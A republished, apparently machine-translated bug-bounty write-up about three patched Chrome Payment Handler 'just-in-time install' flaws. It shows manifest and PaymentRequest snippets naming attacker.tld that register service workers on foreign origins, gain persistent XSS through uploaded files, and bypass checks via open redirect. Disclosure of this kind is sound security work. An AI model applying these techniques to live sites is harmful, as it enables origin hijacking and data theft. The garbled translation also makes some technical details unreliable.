Network Security Internet Technology Development Database Servers Mobile Phone Android Software Apple Software Computer Software News IT Information

In addition to Weibo, there is also WeChat

Please pay attention

WeChat public account

Shulou

How to use Real-time payment function in Chrome

2025-01-19 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Network Security >

Share

Shulou(Shulou.com)05/31 Report--

This article will explain in detail how to use the real-time payment function in Chrome. The content of the article is of high quality, so the editor will share it with you for reference. I hope you will have a certain understanding of the relevant knowledge after reading this article.

When I was studying Chrome payment processing API (PaymentHandler API), I found the following sentence: Chrome also supports a non-standard feature, which we call 'just-in-time installation feature' (JIT).

Very good, the name sounds like there is a bug. So I hastened to study how this function works [Resources]. First, the payment processing API allows payment service providers to process payment requests sent to them, so what is the JIT installation function of the payment App? I will not explain the details. Please move on.

When a client invokes a payment request using a method that the server does not support, it looks like this:

New PaymentRequest ([{supportedMethods: 'https://example.com/pay/'}], {...})

Chrome will obtain a specific URL address from the methods supported by the server, and the page used to obtain the address needs to respond to the client's request with the following response information for Header (pointing to Payment MethodManifest):

Link:;rel= "payment-method-manifest"

Next, Chrome will get the Payment Method Manifest defined earlier, and the general content of the file is as follows:

{"default_applications": ["https://example.com/pay/web-app-manifest.json"],"supported_origins": [" https://example.com"]}]

Then, Chrome will get the Web App Manifest defined earlier, and the content of the file is roughly as follows:

{"name": "Pay withExample", "serviceworker": {"src": "service-worker.js", "scope": "https://example.com/pay/"},...}

Chrome will register Service Worker with a JavaScript file that points to the values of "src" and "scope". Here is a situation where users can click the "pay" button during JIT installation:

Fortunately, the "pay" button on the page is set to focus by default, so we can find a way to get the target user to hold down the enter key for 3 seconds so that we can trigger the JIT installation function. Did you notice anything strange in the picture above? Yes, the source of payment for App seems to come from www.google.com. Why? It turns out that we can use the Service Worker script to specify the value of the "scope" parameter in Web App Manifest, that is, you can set any value:

{"name": "Pay toAttacker", "serviceworker": {"src": "https://attacker.tld/service-worker.js"," scope ":" https://www.google.com/"},...}

However, there are some problems here, because Service Worker still has the source address of the attacker's Web site, even if the attacker registers an address within the scope of the Google service. I can't intercept navigation / payment requests here, but I can use an API like Console API for data analysis, and when a user visits the google.com console, Console API can record any of the user's data.

This vulnerability is very similar to UXSS, but I can't successfully exploit it because I shouldn't use Data URL scripts. After I reported the vulnerability to Google, they fixed it within two days (Chrome 68 disabled JIT installation) and offered a $5000 vulnerability reward.

Another problem I noticed in the process is that we don't need to execute a script within the target site to trigger the JIT installation function at all. That is, assume that the attacker's site hosts script content such as the following:

New PaymentRequest ([{supportedMethods: 'https://attacker.tld/'}], {...})

Chrome will obtain methods that are not supported by the server. The response Header of the response information is as follows:

Link:;rel= "payment-method-manifest"

Next, Chrome will get the Payment Method Manifest in the following ways:

{"default_applications": ["https://victim.tld/user-upload/web-app-manifest.json"],"supported_origins":" * "}

Now, Chrome will get the Web App Manifest from the target site, and the Web App Manifest can respond with any Content-Type or Content-Disposition. Some people may wonder, "is it possible to use Cross-originNo-CORS to request a JSON file? will CORB disable this request method?" Yes, this kind of request response is indeed blocked.

Nevertheless, Chrome will continue to obtain the above Web App Manifest content:

{"name": "Pay toAttacker",.... "serviceworker": {"src": "https://victim.tld/user-upload/service-worker.js"," scope ":" https://victim.tld/user-upload/"},...}

The Content-Type of the Service Worker script must be JavaScript, but it doesn't matter if you use Content-Disposition.

In general, if you can upload files to the target site, you can install Service Worker (persistent XSS) without executing any scripts. This is obviously another loophole. After I reported it, I got another $3000.

Therefore, the first vulnerability is successfully fixed by checking whether Web App Manifest, Service Worker script and Scope URL are of the same origin, and the second vulnerability is successfully fixed by checking whether Payment Method Manifest and payment App are on the same website. So next, let's continue to try Hack!

The attacker's Web site calls the following methods:

New PaymentRequest ([{supportedMethods:' https://redirect.victim.tld/open-redirect?url=//attacker.tld/'}], {...})

Chrome gets unsupported methods and redirects them to the attacker's website. The response Header of the response information is as follows:

Link:;rel= "payment-method-manifest"

Next, as before, we just need to upload the file (Payment Method Manifest) to the target site, and if the target site turns on open redirection, we can bypass all security checks, because the Service Worker in the target site does not need to execute any scripts.

Of course, the loophole was fixed two days later, and then I got another $3133.7 (what the heck is 70 cents? ).

Finally, the complete JIT payment App was officially launched in Chrome 69.

On how to use the real-time payment function in Chrome to share here, I hope the above content can be of some help to you, can learn more knowledge. If you think the article is good, you can share it for more people to see.

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.

Views: 0

*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.

Share To

Network Security

Wechat

© 2024 shulou.com SLNews company. All rights reserved.

12
Report